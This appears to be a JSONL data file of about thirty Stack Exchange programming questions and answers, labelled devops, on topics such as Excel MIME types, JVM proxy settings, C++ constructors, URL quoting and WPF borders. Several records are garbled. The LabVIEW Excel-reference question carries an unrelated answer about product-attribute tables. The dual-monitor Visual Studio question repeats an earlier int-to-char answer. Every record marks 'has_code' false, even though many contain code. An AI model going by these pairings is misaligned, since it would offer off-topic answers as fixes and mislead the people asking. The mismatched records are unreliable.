{"id": "hf_af0b368a111a", "question": "<p>If you call javascript window.open and pass a url to a .xls file it open on some machines in the browser window.  How can you force it into Excel?</p>\n", "question_body": "", "answer": "Only the users machine can \"force\" it into Excel.  That said, 99% of the time if you send the correct mime-type and a user has Excel, then it will open in Excel assuming they approve.\nAnd only the server can send the correct mime-type.  The document type you pass to a JavaScript window.open call will have no effect on this.  In fact, calling window.open will at best just open a superfluous window.\nIt's best to just link to the document with\n```\n<a href=\"foo.xls\">\n```\n.  And provided your server is sending a mime-type of\n```\napplication/x-excel\n```\nor\n```\napplication/x-msexcel\n```\nthis will almost always nudge the browser into opening a new window with the Excel document.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:55.247416"}
{"id": "hf_c2761d44a7fc", "question": "<p>How do I get a list of all files (and directories) in a given directory in Python?</p>\n", "question_body": "", "answer": "You can use\n```\n```\nos.listdir(path)\n```\n```\nFor reference and more os functions look here:\nPython 2 docs:\nhttps://docs.python.org/2/library/os.html#os.listdir\nPython 3 docs:\nhttps://docs.python.org/3/library/os.html#os.listdir", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:55.284435"}
{"id": "hf_7102e2d3eba4", "question": "<p>Will Subclipse 1.4.4 work safely with Subversion 1.3.2?</p>\n\n<p>I am confused because its <a href=\"http://subclipse.tigris.org/subclipse_1.4.x/changes.html\" rel=\"nofollow noreferrer\">changelog</a> says</p>\n\n<blockquote>\n  <p>NOTE: As of Subclipse 1.3.0, the minimum Subversion JavaHL requirement is 1.5.0.</p>\n</blockquote>\n", "question_body": "", "answer": "Do you mean whether Subclipse 1.4.4 will work with a server that is 1.3.2?  If so, probably yes since clients tend to be updated more often than the servers, and thus they try to be backwards compatible. 1.3.2 is starting to get old though, if the client is based on subversion 1.5.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:55.336495"}
{"id": "hf_15ca768cee8c", "question": "<p>I have the .net framework 3.5 on my development machine and also am using the AJAX toolkit  in my code.  In order to publish this code to a server for my users, do I need anything on the server in order for my AJAX code to operate correctly? </p>\n", "question_body": "", "answer": "You need only the .NET framework 3.5.\nIf you publish your project, the AJAX Toolkit used will be also copied over. If you only reference the AJAX Toolkit via file, not via project, then be sure you set the dll to \"Copy always\" in the properties window.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:55.383869"}
{"id": "hf_fc65858a9bf1", "question": "<p>Are there any decent tutorials for setting up F# in Visual Studio 2005? Everything I have found points at VS2008.</p>\n\n<p>ie: 'F# projects' under projects, etc.</p>\n", "question_body": "", "answer": "Installing F# Editing for Microsoft Visual Studio 2005\nThat page also links to\nDon Syme's F# blog\n, which has a lot of useful stuff on working with F# in VS, including a demo of\nF# intellisense in VS2005\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:55.407424"}
{"id": "hf_28309b9d3c76", "question": "<p>I have several &lt;li> elements with different id's on ASP.NET page:</p>\n\n<pre><code>&lt;li id=\"li1\" class=\"class1\"&gt;\n&lt;li id=\"li2\" class=\"class1\"&gt;\n&lt;li id=\"li3\" class=\"class1\"&gt;\n</code></pre>\n\n<p>and can change their class using JavaScript like this:</p>\n\n<pre><code>li1.className=\"class2\"\n</code></pre>\n\n<p>But is there a way to change &lt;li> element class using ASP.NET? It could be something like:</p>\n\n<pre><code>WebControl control = (WebControl)FindControl(\"li1\");\ncontrol.CssClass=\"class2\";\n</code></pre>\n\n<p>But FindControl() doesn't work as I expected. Any suggestions?</p>\n\n<p>Thanks in advance!</p>\n", "question_body": "", "answer": "you must set runat=\"server\" like:\n```\n```\n<li id=\"li1\" runat=\"server\">stuff</li>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:55.484261"}
{"id": "hf_a8cf708e71df", "question": "<p>How to show google maps in mobile application using .net2.0</p>\n", "question_body": "", "answer": "There is various controls available to integrate Google Maps into an ASP.net website. Since the Sockets and Net libraries are available on Windows Mobile, you could possibly integrate using the Google Maps API, however will have to build your own controls to display the maps. The API can be found\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:55.508329"}
{"id": "hf_d9275e376320", "question": "<p>I am a bit confused in what the application controller should do? Because I see the functionality will also exists in your MVP pattern to make the decisions which form should be shown when a button is clicked? Are there any good examples for Windows Forms that uses  the application controller pattern?</p>\n\n<p>There is a difference in the MVC(ontroler) and the Application Controller. I know the MVC(ontroller), I am not sure what is the responsibilities for an Application Controller, and how does it fit into a WinForms application. Martin Fowler also calls this the Application Controller pattern, surely it is not the same thing as the MVC(ontroller)?</p>\n", "question_body": "", "answer": "Personally I have no experience with MVP or winforms, but I have worked with MVC. I hope this is what you're asking, otherwise ignore my answer completely.\nThe C in MVC is responsible for more than just choosing the next view to be presented to the client. It holds most, preferably\nall\n, business-logic of the application, including performance of system tasks (such as logging and enforcement of permissions upon the flow of data from the model and to it).\nIts primary task is, naturally, to serve the presentation layer above it and separate it from the model layer below while mediating between them. I guess you can think of it as the brain of the application.\nHope this helps,\nYuval =8-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:55.532259"}
{"id": "hf_66abc8b8340e", "question": "<p>Many times, a Java app needs to connect to the Internet. The most common example happens when it is reading an XML file and needs to download its schema.</p>\n\n<p>I am behind a proxy server. How can I set my JVM to use the proxy ?</p>\n", "question_body": "", "answer": "From the Java documentation (\nnot\nthe javadoc API):\nhttp://download.oracle.com/javase/6/docs/technotes/guides/net/proxies.html\nSet the JVM flags\n```\nhttp.proxyHost\n```\nand\n```\nhttp.proxyPort\n```\nwhen starting your JVM on the command line.\nThis is usually done in a shell script (in Unix) or bat file (in Windows). Here's the example with the Unix shell script:\n```\n```\nJAVA_FLAGS=-Dhttp.proxyHost=10.0.0.100 -Dhttp.proxyPort=8800\njava ${JAVA_FLAGS} ...\n```\n```\nWhen using containers such as JBoss or WebLogic, my solution is to edit the start-up scripts supplied by the vendor.\nMany developers are familiar with the Java API (javadocs), but many times the rest of the documentation is overlooked. It contains a lot of interesting information:\nhttp://download.oracle.com/javase/6/docs/technotes/guides/\nUpdate :\nIf you do not want to use proxy to resolve some local/intranet hosts, check out the comment from @Tomalak:\nAlso don't forget the http.nonProxyHosts property!\n```\n```\n-Dhttp.nonProxyHosts=\"localhost|127.0.0.1|10.*.*.*|*.example.com|etc\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:55.580216"}
{"id": "hf_f8f30bd5bf10", "question": "<p>What is the average time that it would take a complete novice, whose background is mostly Windows XP, to go through the FreeBSD handbook and get sufficient mastery to setup a server from the ground up?</p>\n", "question_body": "", "answer": "It would depend on how much knowledge you have of unix, and from the sounds of things, you probably do not have a whole lot.\nAssuming you have little knowledge of unix at all, I would say that it will probably take a few days to get a grasp of what is going on, and possibly a week to have something working.\nThe FreeBSD handbook is pretty detailed though, and does provide you with a good grounding of everything you need to do to get things to work.\nI know that this sounds like an awful lot of time, but in my experience, they really are quite different OS paradigms.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:55.604571"}
{"id": "hf_f7b9e38609d8", "question": "<p>How can one load custom (not an image, nor a sound file) resource file from /res within .jar using MIDP 2.0?</p>\n", "question_body": "", "answer": "I'm working with MIDP 2.1, but I hope this is in 2.0 too.\nClass.getResource(path_to_resource) should give you an InputStream to the file.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:55.645486"}
{"id": "hf_0bdfae742c4b", "question": "<p>We are creating an XBAP application that we need to have rounded corners in various locations in a single page and we would like to have a WPF Rounded Corner container to place a bunch of other elements within.  Does anyone have some suggestions or sample code on how we can best accomplish this?   Either with styles on a  or with creating a custom control?</p>\n", "question_body": "", "answer": "You don't need a custom control, just put your container in a border element:\n```\n```\n<Border BorderBrush=\"#FF000000\" BorderThickness=\"1\" CornerRadius=\"8\">\n   <Grid/>\n</Border>\n```\n```\nYou can replace the\n```\n<Grid/>\n```\nwith any of the layout containers...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:55.669134"}
{"id": "hf_1f184d2e1c7f", "question": "<p>Is it possible to, for instance, replace and free a TEdit with a subclassed component instantiated (conditionally) at runtime? If so, how and when it should be done? I've tried to set the parent to nil and to call free() in the form constructor and AfterConstruction methods but in both cases I got a runtime error.</p>\n\n<hr>\n\n<p>Being more specific, I got an Access violation error (EAccessViolation). It seems François is right when he says that freeing components at frame costruction messes with Form controls housekeeping.</p>\n", "question_body": "", "answer": "You have to call RemoveControl of the TEdit's parent to remove the control. Use InsertControl to add the new control.\n```\n```\nvar Edit2: TEdit;\nbegin\n  Edit2 := TEdit.Create(self);\n  Edit2.Left := Edit1.Left;\n  Edit2.Top := Edit2.Top;\n  Edit1.Parent.Insertcontrol(Edit2);\n  TWinControl(Edit1.parent).RemoveControl(Edit1);\n  Edit1.Free;\nend;\n```\n```\nReplace TEdit.Create to the class you want to use, and copy all properties you need like I did with Left and Top.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:55.693278"}
{"id": "hf_32a79d0851c1", "question": "<p>What are the C++ rules for calling the base class constructor from a derived class?</p>\n<p>For example, I know in Java, you must do it as the first line of the subclass constructor (and if you don't, an implicit call to a no-arg super constructor is assumed - giving you a compile error if that's missing).</p>\n", "question_body": "", "answer": "Base class constructors are automatically called for you if they have no argument.  If you want to call a superclass constructor with an argument, you must use the subclass's constructor initialization list.  Unlike Java, C++ supports multiple inheritance (for better or worse), so the base class must be referred to by name, rather than \"super()\".\n```\n```\nclass SuperClass\n{\n    public:\n\n        SuperClass(int foo)\n        {\n            // do something with foo\n        }\n};\n\nclass SubClass : public SuperClass\n{\n    public:\n\n        SubClass(int foo, int bar)\n        : SuperClass(foo)    // Call the superclass constructor in the subclass' initialization list.\n        {\n            // do something with bar\n        }\n};\n```\n```\nMore info on the constructor's initialization list\nhere\nand\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:55.742096"}
{"id": "hf_396aee307f75", "question": "<p>Suppose we have an iterator (an infinite one) that returns lists (or finite iterators), for example one returned by</p>\n<pre><code>infinite = itertools.cycle([[1,2,3]])\n</code></pre>\n<p>What is a good Python idiom to get an iterator (obviously infinite) that will return each of the elements from the first iterator, then each from the second one, etc. In the example above it would return <code>1,2,3,1,2,3,...</code>. The iterator is infinite, so <code>itertools.chain(*infinite)</code> will not work.</p>\n<h3>Related</h3>\n<ul>\n<li><a href=\"https://stackoverflow.com/questions/406121/flattening-a-shallow-list-in-python\">Flattening a shallow list in python</a></li>\n</ul>\n", "question_body": "", "answer": "Use a generator:\n```\n```\n(item for it in infinite for item in it)\n```\n```\nThe * construct unpacks into a tuple in order to pass the arguments, so there's no way to use it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:55.766140"}
{"id": "hf_1811c03682c9", "question": "<p>I'm working on databases that have moving tables auto-generated by some obscure tools. By the way, we have to track information changes in the table via some triggers. And, of course, it occurs that some changes in the table structure broke some triggers, by removing a column or changing its type, for example.</p>\n\n<p>So, the question is: Is there a way to query the Oracle metadata to check is some triggers are broken, in order to send a report to the support team? </p>\n\n<p>The user_triggers give all the triggers and tells if they are enable or not, but does not indicate if they are still valid.</p>\n", "question_body": "", "answer": "```\n```\nSELECT *\nFROM   ALL_OBJECTS\nWHERE  OBJECT_NAME = trigger_name\nAND    OBJECT_TYPE = 'TRIGGER'\nAND    STATUS <> 'VALID'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:55.821054"}
{"id": "hf_1fdc7c6c0d99", "question": "<p>I try to open and excel reference in LabVIEW and then close it after sometime. But the LabVIEW keeps holding the reference and does not release it unless I close the VI. Why is this happening? Is there anyway to force it to release the Reference?</p>\n\n<p>I am checking the error out for any errors. But it is not throwing up any errors.</p>\n", "question_body": "", "answer": "This might get you started. It will need some refinement\n```\n```\nTable Product ( id PK, name, price, units_per_package)\nTable Product_Attribs (id FK ref Product, AttribName, AttribValue)\n```\n```\nWhich would allow you to attach a list of attributes to the products. -- This is essentially your option 3\nIf you know a max number of attributes, You could go\n```\n```\nTable Product (id PK, name, price, units_per_package, attrName_1, attrValue_1 ...)\n```\n```\nWhich would of course de-normalize the database, but make queries easier.\nI prefer the first option because\nIt supports an arbitrary number of attributes.\nAttribute names can be stored in another table, and referential integrity enforced so that those damn Canadians don't stick a \"colour\" in there and break reporting.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:55.859694"}
{"id": "hf_91cfd1f1aeb8", "question": "<p>How to create a database using T SQL script on a specified location? Let's say, I want to create a SQL server database on <code>D:\\temp\\dbFolder</code>. How to do this?</p>\n", "question_body": "", "answer": "When you create the new database you specify the location. For example:\n```\n```\nUSE [master]\nGO\n\n    CREATE DATABASE [AdventureWorks] ON  PRIMARY \n    ( NAME = N'AdventureWorks_Data', FILENAME = N'C:\\Program Files\\Microsoft SQL Server\\MSSQL.1\\MSSQL\\Data\\AdventureWorks_Data.mdf' , SIZE = 167872KB , MAXSIZE = UNLIMITED, FILEGROWTH = 16384KB )\n     LOG ON \n    ( NAME = N'AdventureWorks_Log', FILENAME = N'C:\\Program Files\\Microsoft SQL Server\\MSSQL.1\\MSSQL\\Data\\AdventureWorks_Log.ldf' , SIZE = 2048KB , MAXSIZE = 2048GB , FILEGROWTH = 16384KB )\n    GO\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:55.902885"}
{"id": "hf_370c477fdd4f", "question": "<p>I see on Stack Overflow and <a href=\"http://www.python.org/dev/peps/pep-0008/\" rel=\"noreferrer\">PEP 8</a> that the recommendation is to use spaces only for indentation in Python programs.  I can understand the need for consistent indentation and I have felt that pain.</p>\n\n<p>Is there an underlying reason for spaces to be preferred?  I would have thought that tabs were far easier to work with.</p>\n", "question_body": "", "answer": "The problem with tabs is that they are invisible, and people can never agree on the width of tabs. When you mix tabs and spaces, and you set tabstops at something other than Python (which uses tabstops every 8 spaces) you will be seeing the code in a different layout than Python sees it. And because the layout determines blocks, you will be seeing different logic. It leads to subtle bugs.\nIf you insist on defying PEP 8 and using tabs -- or worse, mixing tabs and spaces -- at least always run python with the '-tt' argument, which makes\ninconsistent\nindentation (sometimes a tab, sometimes a space for the same indentation level) an error. Also, if possible, set your editor to display tabs differently. But really, the best approach is not to use tabs, period.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:55.927149"}
{"id": "hf_569b2ac7d382", "question": "<p>I can add custom version strings to a C++ DLL in Visual Studio by editing the .rc file by hand.  For example, if I add to the VersionInfo section of the .rc file</p>\n\n<pre><code>VALUE \"BuildDate\", \"2008/09/19 15:42:52\"\n</code></pre>\n\n<p>Then that date is visible in the file explorer, in the DLL's properties, under the Version tab.</p>\n\n<p>Can I do the same for a C# DLL?  Not just for build date, but for other version information (such as source control information)</p>\n\n<p>UPDATE: I think there may be a way to do this by embedding a windows resource, so I've <a href=\"https://stackoverflow.com/questions/200485\">asked how to do that</a>.</p>\n", "question_body": "", "answer": "In AssemblyInfo.cs, you can put:\n```\n```\n[assembly: System.Reflection.AssemblyInformationalVersion(\"whatever you want\")]\n```\n```\nIt's a compiler warning if it's not a number like 1.2.3.4, but I'm fairly sure everything will work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:55.962517"}
{"id": "hf_e4ecdfe54b51", "question": "<p>Have any of you ever tried to run from sharepoint? I've worked with sharepoint enough to know that it is not something that interests me. My interests are more along the lines of APIs / backend / distributed development. Have any of you found ways, as consultants, to move away from sharepoint and keep learning other things of interest? I'm currently in a position where sharepoint is in huge demand and I can't quite find a way to simply step aside from it. any suggestions ?</p>\n", "question_body": "", "answer": "Learn Java, or Ruby.\nThe Microsoft sales model of \"attach\" whereby they sell a solution comprised of multiple technologies and then sell the next solution on the basis of \"well you have already invested in SharePoint so you already have the skills in place and the infrastructure for this new bit of technology we have\" is here to stay... it's very successful.\nSharePoint is cloud computing for business who have MS shops... you avoid it by not doing C#. If you're doing C# then given enough time, your apps will need to run in the corporate cloud and you should be looking after your career by embracing it.\nJust my 2p. Sorry if it's not quite the answer you wanted.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:56.014270"}
{"id": "hf_8429c4c90054", "question": "<p>I'd like to know do I normalize a URL in python. </p>\n\n<p>For example, If I have a url string like : \"<a href=\"http://www.example.com/foo\" rel=\"noreferrer\">http://www.example.com/foo</a> goo/bar.html\"</p>\n\n<p>I need a library in python that will transform the extra space (or any other non normalized character) to a proper URL.</p>\n", "question_body": "", "answer": "Py3\n```\n```\nfrom urllib.parse import urlparse, urlunparse, quote\ndef myquote(url):\n    parts = urlparse(url)\n    return urlunparse(parts._replace(path=quote(parts.path)))\n\n>>> myquote('https://www.example.com/~user/with space/index.html?a=1&b=2')\n'https://www.example.com/~user/with%20space/index.html?a=1&b=2'\n```\n```\nPy2\n```\n```\nimport urlparse, urllib\ndef myquote(url):\n    parts = urlparse.urlparse(url)\n    return urlparse.urlunparse(parts[:2] + (urllib.quote(parts[2]),) + parts[3:])\n\n>>> myquote('https://www.example.com/~user/with space/index.html?a=1&b=2')\n'https://www.example.com/%7Euser/with%20space/index.html?a=1&b=2'\n```\n```\nThis quotes only the path component.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:56.038729"}
{"id": "hf_cc94bdf74825", "question": "<p>I understand the mantra of \"don't roll your own\" when it comes to site security frameworks.</p>\n\n<p>For most cases anyway.</p>\n\n<p>I'm going to be collaborating on a site that integrates text-messaging into the system.</p>\n\n<p>I'd like to use an existing, well-tested security framework to protect the users data, but I need it to also protect a users phone number as well.</p>\n\n<p>I wouldn't want to be the one responsible for a list of users cell phone numbers getting jacked and spammed.</p>\n\n<p>What suggestions can the community offer?</p>\n", "question_body": "", "answer": "Since you need to be able to retrieve the phone numbers, the only thing you can really do to protect them (beyond the normal things you would do to protecting your db) is encrypt them. This means that you need to:\nMake sure the key doesn't leak when you inadvertently leak a database dump.\nMake sure your system doesn't helpfully decrypt the phone numbers when someone manages to SQL inject your system.\nOf course the recommendation of not rolling your own still applies, use AES or some other well respected cipher with a reasonable key length.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:56.111174"}
{"id": "hf_19a867007852", "question": "<p>I'm just getting started with Custom User Controls in C# and I'm wondering if there are any examples out there of how to write one which accepts nested tags?</p>\n\n<p>For example, when you create an <code>asp:repeater</code> you can add a nested tag for <code>itemtemplate</code>.</p>\n", "question_body": "", "answer": "I wrote a\nblog post\nabout this some time ago. In brief, if you had a control with the following markup:\n```\n```\n<Abc:CustomControlUno runat=\"server\" ID=\"Control1\">\n    <Children>\n        <Abc:Control1Child IntegerProperty=\"1\" />\n    </Children>\n</Abc:CustomControlUno>\n```\n```\nYou'd need the code in the control to be along the lines of:\n```\n```\n[ParseChildren(true)]\n[PersistChildren(true)]\n[ToolboxData(\"<{0}:CustomControlUno runat=server></{0}:CustomControlUno>\")]\npublic class CustomControlUno : WebControl, INamingContainer\n{\n    private Control1ChildrenCollection _children;\n\n    [PersistenceMode(PersistenceMode.InnerProperty)]\n    [DesignerSerializationVisibility(DesignerSerializationVisibility.Content)]\n    public Control1ChildrenCollection Children\n    {\n        get\n        {\n            if (_children == null)\n            {\n                _children = new Control1ChildrenCollection();\n            }\n            return _children;\n        }\n    }\n}\n\npublic class Control1ChildrenCollection : List<Control1Child>\n{\n}\n\npublic class Control1Child\n{\n    public int IntegerProperty { get; set; }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:56.138752"}
{"id": "hf_aecc8a1f996d", "question": "<p>How do I get the modified date/time of a file in Python?</p>\n", "question_body": "", "answer": "```\n```\nos.path.getmtime(filepath)\n```\n```\nor\n```\n```\nos.stat(filepath).st_mtime\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:56.188089"}
{"id": "hf_d131e2991030", "question": "<p>What is the best way to divide a 32 bit integer into four (unsigned) chars in C#.</p>\n", "question_body": "", "answer": "It's not clear if this is really what you want, but:\n```\n```\nint x = yourNumber();\nchar a = (char)(x & 0xff);\nchar b = (char)((x >> 8) & 0xff);\nchar c = (char)((x >> 16) & 0xff);\nchar d = (char)((x >> 24) & 0xff);\n```\n```\nThis assumes you want the bytes interpreted as the lowest range of Unicode characters.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:56.224144"}
{"id": "hf_b9c2825d52b5", "question": "<p>I've recently acquired a second monitor and now run VS2008 SP1 maximized on my secondary (and bigger) monitor. This theoretically has the benefit of opening the application under development on the primary monitor, where -- as it seems to me -- all newly started applications go. So far, so good. The problem though is now, that the exception helper popup is <strong>not</strong> opened on the secondary monitor. Even worse, it is <strong>only</strong> shown when the Studio window is far enough on the primary monitor! If I drag the studio with an opened exception helper from the primary to the secondary monitor, the helper is dragged with the window until it hits the border between the two monitors, where it suddenly <strong>disappears</strong>.</p>\n\n<p>Has somebody experienced this too? Is there any workaround? Anything else I should try?</p>\n", "question_body": "", "answer": "It's not clear if this is really what you want, but:\n```\n```\nint x = yourNumber();\nchar a = (char)(x & 0xff);\nchar b = (char)((x >> 8) & 0xff);\nchar c = (char)((x >> 16) & 0xff);\nchar d = (char)((x >> 24) & 0xff);\n```\n```\nThis assumes you want the bytes interpreted as the lowest range of Unicode characters.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:56.248807"}
{"id": "hf_eda5d7f8112c", "question": "<p>I want to attach a click event to a button element and then later remove it, but I can't get <code>unclick()</code> or <code>unbind()</code> event(s) to work as expected.  In the code below, the button is <code>tan</code> colour and the click event works.</p>\n\n<pre><code>window.onload = init; \nfunction init() {\n    $(\"#startButton\").css('background-color', 'beige').click(process_click);\n    $(\"#startButton\").css('background-color', 'tan').unclick();\n}\n</code></pre>\n\n<p>How can I remove events from my elements?</p>\n", "question_body": "", "answer": "unbind is your friend.\n```\n```\n$(\"#startButton\").unbind('click')\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:56.272577"}
{"id": "hf_dd59c0a75109", "question": "<p>Changing a value prompt to a multi-select value prompt in Report studio, provide single select functionality. How can i get multi-select functionality?</p>\n", "question_body": "", "answer": "Look at the parameter associated with the prompt. Now go look and see how you use that parameter to filter the queries in your report. If you have the filter set as:-\n[namespace].[table].[column] = ?MyParameter?\n... then it doesn't matter that your prompt is a multi-select prompt, it will still run as a single selection prompt. Modify your filters so they are of the form:-\n[namespace].[table].[column] in ?MyParameter?\nThis tells Cognos that your parameter can contain multiple values, and it will display the prompt accordingly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:56.296997"}
{"id": "hf_c9d4ab7c8b4d", "question": "<p>I have a legacy application that is written in C# and it displays a very complex treeview with 10 to 20 thousand elements.</p>\n\n<p>In the past I encountered a similar problem (but in C++) that i solved with the OWNERDATA capability offered by the Win32 API.</p>\n\n<p>Is there a similar mechanism in C#?</p>\n\n<p>EDIT: The plan is to optimize the creation time as well as browsing time. The method available through Win32 API is excellent in both of these cases as it reduce initialization time to nothing and the number of requests for elements are limited to only the ones visible at any one time.\nJoshl: We are actually doing exactly what you suggest already, but we still need more efficiency.</p>\n", "question_body": "", "answer": "One technique for improving performance is to load TreeNodes as the user expands the treeview. Normally a user will not require 20,000 nodes to be open on their screen at once. Only load the level that the user needs to see, along with whatever child information you need to properly display affordances to the user (expand icon if children exist, counts, icons, etc). As the user expands nodes, load children just in time.\nHelpful hint from Keith: With the winforms TreeView you need to have at least one child node or it won't show the expand [+], but then you handle the TreeNodeExpanded event to remove that dummy node and populate the children.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:56.333444"}
